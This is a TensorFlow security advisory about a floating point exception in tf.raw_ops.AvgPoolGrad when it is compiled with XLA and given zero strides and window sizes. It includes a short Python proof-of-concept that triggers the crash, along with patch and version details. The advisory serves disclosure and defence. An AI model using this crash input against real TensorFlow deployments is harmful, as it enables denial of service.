TensorFlow has Floating Point Exception in AvgPoolGrad with XLA

Impact

If the stride and window size are not positive for tf.raw_ops.AvgPoolGrad, it can give an FPE.

import tensorflow as tf
import numpy as np

@tf.function(jit_compile=True)
def test():
   y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding="SAME", data_format="NCHW")
   return y

print(test())

Patches

We have patched the issue in GitHub commit 1295ae4dbb52fe06b19733b0257e2340d7b63b8d.

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx of 360 AIVul Team